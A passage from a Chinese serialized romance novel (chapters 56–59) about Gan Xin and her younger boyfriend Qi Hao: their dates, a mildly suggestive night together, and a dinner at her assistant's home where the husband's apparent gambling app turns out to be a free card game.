唐满的那句“年轻”还有她背后的洲海,无一不在提醒着自己和那些人的区别。 思绪被迫拉长,甘歆竟然觉得自己有点好笑,想什么呢,还特意翘了个班,就因为唐满的几句话? 有什么好想的,她又不是第一天知道和他们不一样。 齐灏的那句“以后这种事还会发生很多次”闪现进了脑海里,甘歆觉得自己还是小瞧了这个二十出头的小男生,他似乎比自己想得更多。 甘歆的嘴角出现了淡淡的笑意,还掺着些得意。 她第一次在还没下班的时候给齐灏打电话,还是那个少见的私人电话。 铃声不过三秒,就被接了起来。 齐灏好像心情很好,都能听出他话里的笑意,“找我啊?” “嗯。”她只应了一声,什么都没提。 那边好像也犹豫了几秒,“想我了?” 甘歆清了清嗓子,没回答。 两人都无话时,她就觉得有点尴尬,好像打这个电话没什么意义。 正想挂电话,齐灏追问:“在哪里?” 甘歆鼓了鼓脸颊,说了自己所在商场的名字。 他说:“我过来。” 旁边的那两位聊天的女性已经走了,阳光随着西沉的角度倾斜入场,带着暖黄的光照在桌子上。 甘歆低头抿了一下嘴唇,笑得不太明显。 只有她自己知道,刚刚的一点点不爽,被他的三个又三个字轻易擦除了。 齐灏的喜欢,真的很拿得出手。 第56章 第56章要不我买根狗绳,让你牵着?…… 先前他们的约会,更多是在甘歆家里,虽然两个人工作确实很忙,能够温存的时间也不多,就连双休日能真正做到双休的机会都很少,但次数多了,甘歆就觉得两个人跟做贼似的,深居简出得有点儿过分了。 但她讲武德,年长齐灏这么些年,地点时间什么的,就听他的吧。 所以在齐灏立马说出要过来这种话时,甘歆是很意外的,她原本以为他不太愿意在人前出现。 事实上,这个商场距离寰科更近。 十几分钟后,齐灏坐到了她的对面。 “请问……这位小姐,要续杯吗?”齐灏笑得眉眼弯弯。 甘歆挺淡定的,唇角也是微微勾起,跟他开玩笑,“喝什么,姐姐请你。” 齐灏伸手将她面前的咖啡挪到了自己跟前,又拿了个保温杯放到桌上,“我喝剩下的,这个给你。” “什么东西?” 齐灏握拳轻咳了一声,“路过办公区,看到他们在煮银耳红枣汤,要了一杯。” “……你要的?” 他目光躲闪地点了点头,“我要的。” 甘歆笑都快憋不住了,“太补了吧,他们不会觉得你身体不好吗?” 齐灏的耳朵尖有点红,故作镇定地清了清嗓子,“我身体好不好跟他们有什么关系。” “……不是,”甘歆把保温杯捏在 手里,“你是不是对我的年纪有什么误解,还没到六十呢。” “到六十再补还来得及?”他抬了抬眉毛,小表情里还带了点傲娇。 甘歆伸手对他勾了勾,直到齐灏的脸往前凑,她才轻轻捏了捏他的脸颊,“那先替六十岁的歆奶奶谢谢你啦。” 她的手被握住了,齐灏的表情并不是很好,“别闹。” “你出现在这里没关系吗?会不会被同事看到?” 齐灏笑了笑,“看到就看到呗。” “……我还以为得注意一下呢,保持老板的神秘感什么的。”甘歆捋了一下头发,没有去看齐灏。 “你怎么了?”齐灏的手没有放下,在她的手背上蹭了蹭。 “嗯?没怎么啊。”甘歆吸了口气。 对面的男人难得露出了疑惑的表情,几秒后站了起来,走到她身边,轻轻拉起了她的胳膊,“走了,吃饭去。” 甘歆自己也不知道怎么了,齐灏没来的时候,还挺开心的,这会儿情绪倒复杂起来了,但她没有扭捏,站起身来跟着齐灏走。 只走了两步,齐灏就牵起了她的手,她挣扎了一下,没挣扎开。 “别动。”从左上方落下来的声音,不凶,但不容抗拒。 他带她去坐电梯,正是饭点,和很多人在电梯口等,每辆电梯也很满,出来的时候,齐灏将她往后拉了拉,直到靠在她身上为止,进电梯的时候,齐灏也牵着她的手没松开,小小的轿厢里塞满了人,她就被齐灏围在身体和轿厢中间,还用手揽过了她的肩膀。 进进出出的时候最挤人,甘歆抬头看了齐灏一眼,他的表情没有任何不耐烦,甚至在进人的时候还护了她一下,在发现自己看他的时候,还会温柔地看回来,瞒眼都是自己。 他没有带甘歆去什么高级餐厅,而是找了一家要等号的,熟练地去取了号码,和甘歆一起坐在门口的椅子上。 齐灏长得太过出挑,已经吸引来了不少目光,还有个大学生样的女生过来要加好友,甘歆下意识地将脑袋偏了过去,有些给小女孩儿让道的意思。 她听见齐灏说:“不好意思,不太方便。” 那个青春活力的小姑娘笑得很甜,“就交个朋友呀,帅哥。” “抱歉,这位是我女朋友,”齐灏揽了一把甘歆,“我不想让她误会。” “啊,”女孩惊诧着捂住了嘴,“我还以为她是你姐姐呢!” “是姐姐,也是女朋友。”齐灏再次介绍道。 等女孩儿走了,齐灏皱了皱眉,拉过了甘歆的手,低声说道:“要不我买根狗绳?” “……干嘛?” “让你牵着。” 甘歆低头,玩着齐灏的手指,“你不是说,只要我们在一起,这种情况就会发生很多次吗?” 齐灏有些紧张地看向甘歆,在等她的下文。 她笑了笑,虽然带了些勉强,但到底没太介意,“这才几次,我会适应的。” 齐灏拿过了她的手用力揉了揉,“我们估计还得等位挺久,所以你要说说么,为什么不开心?” 甘歆愣了下,对着齐灏眨了眨眼睛,她自以为表现得都正常,他怎么就能看出她的不一样来呢。 她刚提气想说话,齐灏又凑到她耳边补充了一句,“姐姐不许瞒我。” 甘歆反拽过了齐灏的手,放在身前把玩,来回拉扯着他的手指,又捏捏手掌,口气随意得像问一会儿吃什么菜一样,“你为什么喜欢我啊。” 没等齐灏回答,她又接着说,“我有这么吸引你吗?” 齐灏沉默了几秒,从她手里抽出了手,揽过了甘歆的肩膀,让她的脑袋靠在肩膀上,来回晃了晃,“你见过唐满了?” 甘歆心里一惊,她本来不打算将见唐满的事告诉齐灏的,毕竟他说过让自己离这个人远一点。 “……商务拜访,避无可避啊。” 齐灏轻哼了一声,“我看沈确是好了伤疤忘了疼。” “你别折腾他了,”甘歆捏了捏齐灏的环过来的手臂,“他已经知道我们在一块儿了。” “怎么知道的?”齐灏来了兴致,低头和甘歆对视。 “……看地库里我停的车猜的。” 齐灏听着有些失落,“我以为是你告诉他的。” “告诉他干嘛?他对我没那意思,你放心吧,”甘歆笑笑,“不过他问了我也没否认啊。” “那还差不多,”齐灏也跟着笑了笑,继续了刚刚断掉的话题,“唐满挺激进的,说话不顾人,如果说了什么你别太往心里去。” “你和她很熟?” “小时候……” “你俩小时候谈过!?”甘歆一下从齐灏的肩膀上弹起来,不可思议地盯着他看。 齐灏嘴都抿紧了,曲起手指对着甘歆的额角轻轻敲了一下,“十三四岁的时候,你那么早熟?!” “……她比你大嘛,万一有什么兽心。” 齐灏不理她,继续说:“她小时候在我家暂住过一年,我太小了不太记事,就觉得她挺凶的,我也是后来才知道,她是私生女。” “私生女?!” 齐灏点了点头,“第二年她就出国了,一直没回来过,去年我出国弄的那个项目,就是寰科和洲海合作的。” “所以寰科帮了她一把,让她能够稳坐洲海接班人的位置?” “连你也这么想,”齐灏深深叹了口气,“就因为那个项目,我才回的老宅,闹死了。” “你没帮她?” “嗯……她做事很有自己的风格,目的很明确,节奏也很清晰,”齐灏抿了抿嘴,“他大哥太老派了,洲海落在她大哥手里,不会有什么好起色。” 甘歆好像抓到了一点关键,仔细想了想,“所以……其实你帮的是自己。” 齐灏深邃的眼睛里露了些光亮出来,又多了一份欣赏,很小心地揪了揪甘歆的衣袖,“知我者歆总也。” “是啊是啊,”甘歆笑叹了下,“天下总有一天是你们的。” 他再次追问道:“她是不是说难听的话了?” 齐灏认真的眼神一瞬间让甘歆有些失神,仿佛年轻雄狮的爱侣受了豺狼的挑衅,一副要为她讨回公道来的样子,她有些欣慰,更多的是感慨,这个年纪轻轻的、刚刚接手了寰科的男人,竟然已经在布局他的商业帝国网络了。 她摇了摇头,“也没说什么。” “你把原话复述给我听听,我判断一下。” “别闹,”甘歆笑了出来,“你怎么死缠烂打。” “……我不死缠烂打能交到女朋友吗?” “能啊,不一定是我而已。” “那不行,我——” 小桌A112—— 齐灏的话还没讲完,就到号了,他依旧是牵着甘歆的手进的餐厅,位置靠商场内部的玻璃这,外面还有许多人在等位。 刚刚甘歆有些低落,都没注意到这里的餐食,扫了二维码才发现,这家的菜式有些熟悉,好像……是很早之前,开在奶奶家附近的一家小餐馆特有菜式,再去看这家店的名字,她惊喜得几乎都要站起来了。 “真的是悦来?!”她两眼都放着光,对着齐灏嘿嘿直笑,“没想到他们开进商场了啊,这家餐厅以前开在我奶奶家附近,我之前去还以为他们关门了呢,没想到现在生意这么好!” 她觉得自己有些失态,刚刚的行为确实有些小女孩了,甘歆抿了抿嘴,依旧很激动,“你知道吗,他们家有个拌干丝,特别好吃。” 看着甘歆开心的样子,齐灏觉得自己没白带她来。在接到电话的那刻就感觉 她不太对劲,一朵明艳的花好像被浇蔫儿了。 对于甘歆的喜好,他很早就开始观察了,蒜香味的面包、江畔饭店的蝴蝶酥、莫兰迪色的各类小用品、锦云路的锅贴,奶奶家门口的悦来餐厅。 在他还是个少年时就会刻意去记录甘歆的喜好,当时想的是,如果有一天要哄她开心的话,不至于束手无策。 他早已准备多年,等待她全方位考验。 齐灏无数次庆幸,他的死缠烂打换来了她的垂眸。 饭后他还带甘歆去江边散步,他们像无数对在江边散步的普通情侣一样牵手、拥抱,还会在阴影里接吻,任凭带着热气的风从耳畔拂过,带着他们的浓情吹向江面。 甘歆被齐灏抱在怀里,几乎是笼罩的姿势,好像想把她在外头、在内心里受到的委屈都融掉。 他说—— 他真的是个普通人,谈恋爱想嘚瑟,有女朋友想炫耀,不存在藏着掖着躲着,天王老子来了,也照样大大方方介绍。 他也说—— 你很好,哪里都很好,说不出最好的地方,但无论从哪里说起来都是好,无关年龄、身份背景,你的好只因为你是你。 他还说—— 我喜欢你,好喜欢你,最喜欢你。 你也试着喜欢我吧,大胆一点、莽撞一些,没关系的,他都会托底。 齐灏真的太聪明太温柔了,他猜到了她今天的经历,也看透了她的心思和顾虑。 原本在甘歆的眼里,他是一杯浸泡不久的清冽梅子酒,根本无法醉人,可混着他身上的独有木香,她直接缴械投降,是她愿意醉。 今晚甘歆没让齐灏跟回家,但在楼下时,她踮起了脚尖,吻了他的下巴。 告诉他,“我也喜欢你。” 第57章 第57章“抱紧我。” “小然总,包不错啊!” 甘歆正好进办公室,听见同事夸了句,顺势也往张然的工位上看了看,惊讶了一下,这个包是需要配货的那种类型,比平时张然背的通勤使用的档次高了不少,再看张然的表情,哪儿哪儿都洋溢着幸福。 看来激励性的工作和家庭的幸福稳定真的能让人容光焕发,她打心眼里为张然感到开心。 张然进来汇报工作的时候,甘歆的嘴角都带着笑,她一手培养的小然总的确在努力成长,而且在听说了她顺利解决了二期拆迁签约难度的时候更是感动、欣慰,现在的张然和之前刚刚联系她的时候已经大不一样了,虽然底色依旧是温柔,但更加坚定、更加自信。 “看来小然总已经准备好接手AAD的位置了。”甘歆笑着对她说。 “没呢,这才二期,等三期完成的,”张然俏皮笑笑,“到时候不用你提醒,我会直接来跟你要。” “好啊,最喜欢小然总问我要东西了,”甘歆对她眨了眨眼睛,“包不错,气场很强。” 张然愣了一下,脸红了一些,“……我老公送的,说是发了奖金,我都跟他说了不要买这么贵的东西,他说就是想送给我。” “哎呦,你现在秀恩爱技术高超。” “不是……”张然露出了些苦恼的神色,“他说自从去了洲海,才知道什么叫大公司,看那些管理岗的女领导,个个都装备很好,看我用的就觉得普通,也要让我支棱起来。” “是好事啊,”甘歆说,“他知道为了你努力,多少男人一辈子都学不来。” “说是说好事,我还是希望他脚踏实地点。” “有你管着他,不会飘的,”甘歆伸手捏了捏她的手,“这个部门以后也会更好的。” 张然点了点头,突然想起来了什么似的又问甘歆,“神秘人周六能来吗?我已经跟我妈说好了,周五晚上就把我儿子放过去。” “能来,问过了。”甘歆点了点头。 “真的啊?!”张然笑开了,“太好了,他有什么忌口吗,葱姜蒜?” “客随主便,按照你们的来。” “哎呀哎呀,”张然捂着嘴,笑意盈盈,“我怎么有种嫁女儿的感觉,好想哭啊。” “至于么,”甘歆也跟着笑,“没说到嫁不嫁的,到时候别乱说啊。” “知道知道,能将我们歆总强劲的心脏撕开一条缝隙的男人,我可要好好看看。” 甘歆看她都快笑成一团了,摇摇头,“赶紧去忙。” 张然离开甘歆办公室前还对她做了个鬼脸。 哎呦,她的老同学怎么这么可爱啊。 —— 周五晚上,甘歆和齐灏在逛进口超市,明天要去张然家做客,正在挑要带去的礼物。 他们选了个礼盒装的火腿,又买了个遥控汽车打算给小朋友,这会儿齐灏在卖酒的货架前停了下来,甘歆方才在看蜂蜜呢,看到他站那不动,也走了过去。 “想带瓶酒?” 齐灏闻声转了过来,淡淡笑了笑,“嗯,总得带一瓶吧。” 甘歆看了看货架,一水儿的白酒,有些惊讶地看向齐灏,“带白的?” “你爸喝酒吗?” 她一下没揣摩到齐灏的意思,下意识回答:“喝点儿,不多。” 齐灏若有所思地点了点头,甘歆顺着他的视线往货架上看……就看到了茅台,她低头遮掩住了笑容,这小子……想什么呢。 刚想拉他去红酒区那,他又问:“那你爸抽烟吗?” “噗,”实在是憋不住了,甘歆伸手捏了捏他的胳膊,“我爸抽烟的话你也现学一个呗?” 齐灏脸转向一边,难得吐了个舌头笑,还带了点少见的痞气,回答得倒是爽快,“嗯。” 甘歆摇着头笑,“长得帅就能想得美啊?” “想想还不行?”齐灏走到她身边,把甘歆放在购物手推车和他之间,调皮地把下巴搁在她脑袋上。 心里漾开了涟漪,泛着甜蜜的气息,甘歆故意往前靠了靠,齐灏就追了上来,非得贴着她才算完。 路过红酒货架的时候齐灏说不用,他带了一瓶放车里的,甘歆仔细问了品种和价格,还是对他摇了摇头,这些藏酒对他们来说可能九牛一毛,但对普通家庭来说,多少有些冲击力,她不想让张然夫妇觉得有断层感,本来……带着齐灏过去就够冲击的了。 最终两人选了一支价格中等的勃艮第红葡萄酒,是个礼盒套装,还送个醒酒器,很实用,送人体面,也不会让人觉得有压力。 今天甘歆特意没让齐灏开车,周泽将他送到公司楼下后就把车开走了,这会儿齐灏就穿了件白衬衫,袖口都随意地卷了上去,两只手上满满当当地拎着东西在前边走。 刚刚进车库的时候甘歆说了句坏了,下车的时候没拍车位号,她不记得停在哪儿了,齐灏就对着她笑笑说跟着他走,现在向前看去,总觉得这个男人身上的人夫感很重……但究竟是怎么想到这个词的,甘歆自己也不清楚,连看都不敢多看,不是不喜欢,而是……忍不住会害羞。 这个感觉在看到齐灏在她家厨房下面的时候也有,这个男人来的第一天就在她家做粥了,明明是自己家,自己倒跟个客人似的端了杯茶,靠着厨房的门看他忙东忙西,还得被他叫去洗手吃饭。 齐灏厨艺一般,这才让甘歆觉得他是个正常人,也不能哪儿哪儿都好吧,不然老天爷也太赏饭吃了,不油少盐,比较清淡,但符合她的口味。 饭后,甘歆看到齐灏将一个手机关机,他抬起头来的时候正好撞到甘歆的视线,不好意思地笑笑,“开着总忍不住想去看,真正上班和在学校的时候还是有区别,会操心。” 甘歆明白,点了点头,“不怕有急事吗?” 他就晃了晃另一个手机,“除了家里人和你,股价跌超过十个百分点,才允许周泽联系我。” “……心理素质不错。” “正常浮动管不了,”齐灏走到甘歆身边,牵她到阳台上,直接打开了窗户,“23楼很少有蚊子吧?” “不多,”看着自己被齐灏捏在手里的手,甘歆故意夹着嗓子问他,“要干嘛呀?” “吹吹风。” 他把甘歆放到了自己身前,双手从她的腰间穿过搂住了她,轻轻吻她的发,东南风已经混上了夏日独有的热量,如一层热膜覆到了身上,触碰到人的瞬间,又镂了个与两人拥抱姿势相同的空隙,任他们在时空里停留。 甘歆微微抬头,就能看见他张扬又漂亮的下颚线,如羽扇的长睫毛下,是堪比暗夜星辰的眼眸。齐灏几乎比 她所有认识的男人都年轻,可他又是这样的沉静,她再一次感慨难得。 “齐灏……”甘歆轻声叫他。 “嗯?” “我不喜欢闻烟味儿。” “嗯……我不抽烟。” “我不信你没抽过。” “……试过,不太适应。” “今天呢,抽过么?” 她问得无厘头,身后的男人却懂了,原本搂着她的右手抚上了她的下巴,把她的脸慢慢往后推,推到——他可以捉住她的唇为止。 齐灏的话说得含糊,可甘歆却觉得他性感得要命。 “你自己找答案。” 江面映上来的建筑的灯光有些亮,齐灏伸手就把落地窗帘拉上了,毫不费力地将甘歆抱了起来。兴许是墙面被日照已经烘暖了,甘歆背部抵上去的时候没觉得冷,身前的人倒是火热,吻得都快乱了,也没有越轨的动作。 直到甘歆咬了一口他的下巴,他才像终于获得了恩准的大型犬一样,将她的耳朵濡湿,吻里带着力气,她只能捶男人的背让他轻一点。 他捉过了她的一只手往下带,甘歆以为齐灏要使坏,却没想到他将她的手环绕住了他的腰背,才有些受不住似,连气息都不太稳当,“抱紧我。” 两个人的衣服都穿戴整齐,甘歆的裙摆遮住了大部分齐灏的裤子,她几乎被他抱得钉在墙面上吻,这个在外高高在上又冷淡疏离的人,吻得热烈又认真,也甘愿做她的裙下之臣。 不得不叹服齐灏的年轻,他们摔进沙发,又被他抱上了浴室的洗手台,倒在床上时又攀了上来。 她的指甲一定修剪得太过圆润了,这些疼痛竟然阻止不了男人的动作,但心底的渴望是骗不了人的,到底也没真的想推开。 最后连怎么睡着的她都不记得了,只觉得胸口一直有个毛绒绒的脑袋。 次日上午,甘歆在镜前洗漱,被纽扣散落开的睡衣下的画面震惊到了,脖子上的印迹很淡,遮瑕应该没问题,但胸口的……这是什么,人工抹胸吗?! 连牙膏沫都没来得及吐完,她几步就回到了房间里,刚想开口训他,就看到他只探了个脑袋出来,眼睛里都掺着抱歉和可怜,甘歆只能作罢,刚想离开房间,却被齐灏叫住了。 “姐姐要对我负责。” 甘歆气不打一处来,回过头看到他已经把被子挪开了,露出的脖子上也有两三个红艳艳的草莓,他笑得贼,甘歆只能认栽。 “不遮也行,我就跟他们说这是胎记。” “……闭嘴吧。” 齐灏带了套衣服来的,穿个西服去做客的话也有些太做作了,连帽卫衣外罩了件夹克,底下是简单的牛仔裤,很休闲,也很酷,甘歆很喜欢,她也配了个差不多的,都穿着白色板鞋,下电梯的时候,他还趁没人的时候问甘歆,这算不算情侣装,甘歆只笑不回答。 今天甘歆不争,让他开车。 原本答应张然时的那些忐忑渐渐消失了,应该要再嘱咐点什么的,但看着连开车都很稳当的齐灏,甘歆觉得什么都不用说了。 他很好,哪里都很好。 第58章 第58章你男朋友是齐灏?! 张然家是老城区里的次新房,楼间距和绿化率都不错,就是建得时间有点久了,没有地下停车库,来接他们的是张然的老公徐君,甘歆见过,他带着他们到楼下停好车,下车后看见齐灏愣了两眼,马上换了副笑容上来去握手。 “你好你好,是阿歆的男朋友吧,我是徐君,欢迎欢迎。” “你好,”齐灏笑着回握了过去,热情地点了点头,“我是齐灏,今天打扰了。” “哎小兄弟你哪里的话,歆总帮了我们家很多,早该请来吃饭的。”徐君往前走,要引他们进楼道,边走边说。 齐灏不动声色地去后备箱里拿东西,左右手几乎拎满了,甘歆要帮着拿,齐灏不愿给,又闹不过她,硬生生分了个遥控汽车礼盒给她。 徐君再回过头来时,发现人还没跟上,又瞧见手里拿了那么多东西,才不好意思地小跑了过来,“抱歉抱歉,我刚刚没注意,你们真是太客气了,来吃饭就吃饭,还带这么多东西干什么。” “没事,都是些用得上的,”甘歆笑着说,“这是给小宝贝买的,不知道能玩上不。” “能能能,现在小孩儿鬼得很,”徐君也分担了些东西,齐灏手里才松快了些出来,“哎买太多了,一会儿让你老同学教育你。” “行,小然总说什么我都听。”甘歆笑着回答。 一梯两户,到三楼时停下了,有一家人家的门开着,已经溢出了些香味。 “老婆,歆总来了!还有她男朋友!”徐君往屋里头喊。 先是听见的脚步声,甘歆才看到张然急急忙忙地出来,穿了件长袖T恤还戴着围裙,声音比人先到门口,“阿歆阿歆!” 真到了门口,张然就傻了,连徐君说让他们俩换鞋都没听见,一双眼睛瞪得巨大,连嘴巴都张开了不少。 “……齐、齐……齐总?!!” “你好,然总,”齐灏露了个从来不在工作时的微笑表情来,“又见面了。” “你……阿歆,他……你,你们……?!” 张然连一个整句都说不出来,甘歆换了鞋上去捏了捏她的手,又点了点头,“进去说?” “哎哎好好好,”张然往后退了一步,又退了一步,直到被徐君扶住,才回过了些神来,“先进屋先进屋。” 徐君被张然赶去厨房看火了,齐灏也说去帮忙,也跟着去了厨房,她们俩就坐在客厅的沙发上,就是张然的表情还没恢复正常,甘歆觉得又抱歉又好笑。 “……不是,等下,”张然握住了甘歆的手,“现在我问你答。” 甘歆笑着点了点头。 “齐灏……和神秘人是同一个人?” “嗯,同一个人。” “……给你发腹肌照的是齐灏?” 她实在憋不住笑,点了点头,“是他。” “齐灏?!” 甘歆笑趴下了快,她相信如果可以的话,此刻张然应该发出的是爆鸣。 张然又拍了下自己的脑袋,“对!!他也是从国外回来的!” 甘歆抿嘴又点了点头,“嗯。” “所以神秘人是你男朋友,你男朋友是齐灏?!”张然突然凑得很近,切了个嘚瑟的表情,“你是真勇啊,怪不得不把沈确放在眼里。” “别瞎说啊,”甘歆揉了一把张然的肩,“沈确对我没那意思,一丁点都没有,我也不是因为寰科的关系才和他在一块儿的。” “……真爱?” 甘歆咬着嘴唇思忖了一下,深呼吸了一口,“希望吧。” 张然用了很小很小的声儿对甘歆说:“他才21岁,能定性吗?” “……不知道,看吧,”甘歆捏了捏张然的脸,“先谈着呗。” “嗯……”张然的表情上依旧带着些忧虑,抚了抚甘歆的手,“阿歆,虽然泼冷水是件很讨厌的事,但我还是想说,如果他有哪里不对劲,趁早分手。” 甘歆点了点头,脸上的表情淡了下来,“我知道。” “没有半点你配不上他的意思,而是……他年轻、耀眼,各方面条件都好,深陷其中的话,我怕更受伤害的人是你,虽然我不希望有那一天,但至少我们得自己心里明白,你最多想和他走到哪一步,要有个预期,预期管理,你教我的,是不是?” 她的助理是真的成长了,也是真的心疼她,祝福很容易,说这样的真话却不简单,何况这些也 是她一直以来的、消磨不掉的顾虑,以身入局,本就是一场博弈,何况她心里清楚自己的赢面很小。 甘歆伸手抱住了张然,又紧了紧胳膊,“好,谢谢你然然。” 张然也拍了拍她的背,“有什么事可以随时和我说。” 甘歆又点了点头,张然才放开她,深呼吸了一口气,又问她:“你现在开心吗,和他在一起开心吗?” “开心,也很满足,他和外头看起来不太一样,很耐心、也很温柔。” “好,那就好,”张然捏了捏甘歆的手,“希望你幸福,你这么好,老天爷应该给你最大的幸福。” 甘歆心里有些触动,清了清嗓子,“小然总真的太会煽情了,再说下去我都要哭了。” 张然这才笑起来,“好了,他俩关得够久的了,我老公都不知道齐总是谁,真怕他乱说话给我丢人。” “不会的,齐灏很好相处,放心吧。” 等真的打开厨房的时候,张然都无语了,那么大两个男人,在蒸汽缭绕的厨房里,不开窗也开油烟机,搁这玩人间仙境呢,她也放下了防备,招呼他俩把配菜先端上桌,再拿碗筷,最后在餐桌上打开了电陶炉,将一大锅酸菜鱼放在上面。 甘歆趁着这个间隙醒了个红酒,自己没倒,给张然夫妇和齐灏倒上了,“回去我开车,你们尽兴。” “啊,这本来就是要请你吃饭的,你不喝……” 齐灏就将面前的酒杯放到了甘歆面前,“我开就行。” 四个人碰杯,齐灏以茶代酒,气氛渐渐熟络了起来,酸菜鱼开锅后,一团热气冒了出来,每个人脸上都洋溢着笑,都开开心心的。 “阿歆,真的很谢谢你,给我机会,也让我老公去洲海上班,”张然脸上挂着红晕,有些上脸了,“我们家两次危机都是拜托你,我不知道说什么好,但真的很感谢。” 甘歆和她碰杯,“老同学不说这个,都只是一时失意而已,会越来越好的。” 两位女士碰了被,齐灏也找徐君碰了个杯,谁都没落下。 不知道是不是张然交代过了徐君什么,夫妻俩都没问齐灏的情况,连恋爱的细节都很少打听,几个人就聊着不咸不淡的家常。 酒过三巡,最先不行的竟然是徐君,先有了些醉态,话也跟着多了起来。 徐君右手食指点着左手手腕上的表,对着张然说:“哎老婆,刚刚在厨房的时候,我问小齐这个表怎么样,你猜他怎么说?” 张然有些不好意思,要将他面前的酒拿掉,却被徐君用手挡住了,“别动我酒,这好酒,我喝得出来,嘿嘿,小齐说这叫绿水鬼,很值钱的,可不是你说的什么破表。” “行行行,别水鬼水草的了,你少喝点。” “我怎么不能喝了,”徐君又往嘴里送了些酒,“洲海那群人,真会装,平时说话都夹洋文,我们搞风控的,说什么洋文。” 张然看了看甘歆,又抱歉地看了看齐灏,“抱歉啊,我老公量浅,见笑了。” “没事的,都是朋友,喝酒别顾忌,你老公这是真性情。”甘歆说,又给齐灏使了个眼色。 齐灏将剩下的红酒都倒在了自己的杯子里,连带着甘歆的一起倒了进来,看了看徐君的杯子里还有个底,便要敬他,“徐哥,还没谢你教了我很多,以后还要向你多讨教。” “哎,小齐,”徐君一点儿不见外地将手搭在了齐灏的肩膀上,“你还年轻,等着你真的有结婚计划了,哥再跟你说。” 张然的酒意瞬间下去了,来回在齐灏和甘歆的脸上看,见两个人都没什么变化,才虚心地低了头下去。 “那这杯酒,我敬您。”齐灏举起了酒杯,“我干了,您随意。” 这杯酒近乎占着郁金香红酒杯的一半,齐灏仰头就干了,徐君那边也干了。 “小齐!爽快!”徐君的醉意越来越明显,甚至还嘟囔起了自己还有几个藏品想让齐灏看看。 甘歆看了眼张然,露出了些担心的神色,“他在洲海工作不开心?” “不是……”张然摇了摇头,又叹了口气,“那些人觉得他古板,没品味也没情趣,平时下班也不带他吃饭,他凑上去还会被阴阳怪气,心里憋了口气吧。” 甘歆也跟着叹了口气,只好伸手摸了摸张然的胳膊,“工作么,哪里都会受气。” “是……他能去洲海上班我已经很满足了,到哪里上班不是上班,在洲海工资还能高一点。” 齐灏一直撑着徐君,见他明显有要倒的意思,才问张然,“我把他扶进卧室里去?” 张然有些不好意思,看了看甘歆,才点头,“麻烦齐总了。” 等徐君真的躺下消停了,甘歆起了身,“那我们先回去了,谢谢然然,真的很好吃,费心了,弄了这么多菜。” “真是不好意思,阿歆、齐总,难得你们来吃饭,我老公还整这出,”张然咽了咽,“他工作压力太大了,我也不好说,真的很抱歉。” 没等甘歆说话,齐灏接了过去,“别往心里去,本来就朋友吃饭,吃尽兴了就好,我们吃得很开心。” “谢谢齐总,”她又看了看他们两个,“那我就不多留了。” “好,”甘歆说着就往门口走去,“那我们先走了,周一见。” “周一见,”张然刚要关门,又叫住了他们,主要是齐灏,“齐总!阿歆……就拜托你了,请你对她好一些。” 齐灏点了点头,“谢谢,我一定会的。” 下了楼,甘歆呼吸了一大口,再去看齐灏,“洲海的氛围这么差的吗?” “……不太好,”齐灏皱了皱眉,“挺卷的,提倡什么……狼性文化,”他又耸了耸肩,“没什么用,人还是得因材施教。” “唐满的风格吧?” “嗯,她是这样的,要什么,就自己去争。” “这么厉害啊……”甘歆突然有些吃味,“那你喜欢那种风格吗?” “欣赏,谈不上喜欢,”齐灏拽过了甘歆的手,“我只喜欢歆总这样的,御下严格又有人情冷暖。” “马屁精。”甘歆笑着说他。 齐灏挑了挑眉,“拍到了?” “少来啊,”昨晚她真是怕了,赶紧转移话题,“我叫代驾吧,咱俩都喝酒了。” “周泽马上到了。” 甘歆有些意外,“你什么时候叫的他?” “张然老公醉的时候,我感觉还不如直接给他喝晕了完事。” “真有你的。” 等两人都坐进后座后,齐灏拉过了甘歆的手,表情有些纠结,有些欲言又止,不太像他平时的风格。 “怎么了?” “我不确定啊,”齐灏搓了搓她的手,说话的时候皱着眉,“刚刚我们单独在厨房的时候,他给我看了看他的表,洲海风控的工资,应该还没到两个月可以买只绿水鬼的程度吧?” 甘歆坐直了看他,抬了抬下巴,“你接着说。” “他还给我看了他的手机,左上角有些……余额什么的,”齐灏整个人也严肃了起来,“那个界面,有点像是□□。” 甘歆的眼睛一下子瞪大了,“什么?!” 第59章 第59章“原来你不吃蒜啊。”…… 徐君的问题,甘歆没瞒着,周一早上见着张然就把她拉进了办公室,问她有没有觉得老公有什么不对劲的地方,张然想了想,说没觉得怎么,就是去了洲海之后压力大了点,不过也动力足了很多,她笑着对甘歆说,这两三个月徐君老给她送礼物,感觉好像又开窍了一回。 甘歆咬了咬嘴唇不知该不该说,但张然跟她也熟,立刻看出了她的不对劲,小心翼翼地试探着,问是不是周六徐君说错了什么话,让她或者齐灏不高兴了,她摇了摇头,思索再三说出了口。 “你老公……给齐灏看了眼手机,感觉上面好像装了□□的软件。” 意料 之中的吃惊和恐慌并没有出现在张然的表情上,而是一副了然的样子,她摆手笑了笑,“噢,那个,不是赌博的,就是个桥牌游戏,同事推荐他玩的,他们很多人玩,不充钱的。” 甘歆睁了睁眼睛,“那上面的余额呢?” “那个就是点数,”张然抿嘴笑了笑,“就跟每天免费送体力一样,玩没了就等,第二天又有了。” 甘歆还是有些担心,“那他哪来的钱买劳力士啊?” “哦……”张然不好意思地笑了笑,“他啊,有一次心情不好,去买了个彩票。” “中奖了?” 张然点了点头,“去掉税大概到手三十多万吧,就给我买了这个包,还有他那块表,给了我十万块,剩下的钱就自己留着了。” 甘歆干笑了两声,“那他运气还挺好的?” “可不是么,”张然无奈地摇了摇头,“他跟我说这叫触底反弹、厚积薄发,快四十的人了,跟小孩儿一样,看起来还没齐灏稳重。” “……齐灏也是看见了,”想到这,甘歆解释了下,“不想有什么意外,才跟我说的。” “我知道,谢谢小情侣,”张然对着甘歆露了个笑,“这点小意思,齐总怎么会放在眼里,必然是爱屋及乌,不想让女朋友的好朋友受伤害才说的。” “好了你,”甘歆有些憋不住笑,“你怎么比我还腻歪啊。” “齐总腻不腻歪?”张然也过来凑热闹,“上次不是说都挺好?都了吗?” “哎呀,你怎么什么都好意思问啊。” “你们都好意思整,我有什么不好意思问的啊,”张然不放过她,“都了没都了没?” “都了都了都了,”甘歆推她,“小然总,求你了,去上班吧。” 张然一边摇头一边笑叹,还咂嘴,“啧啧啧,阿歆你真是禽.兽啊。” 甘歆都快笑不动了,挥手让她赶紧出去。 门关上了后,甘歆叹了口气,竟有一瞬间的失神,禽.兽么……还真挺禽.兽的啊,她想了想,还是给齐灏发了个消息。 “张然说她知道,她老公中了彩票,那玩意说是个游戏,跟齐总汇报一下进度。” 发走的时候脸上还带着笑,觉得她男朋友的确观察力惊人,而且……如果这个人不是张然的话,按照齐灏的性格,连提都不会提。 没想到,繁忙的周一早晨,齐灏还会有空回她。 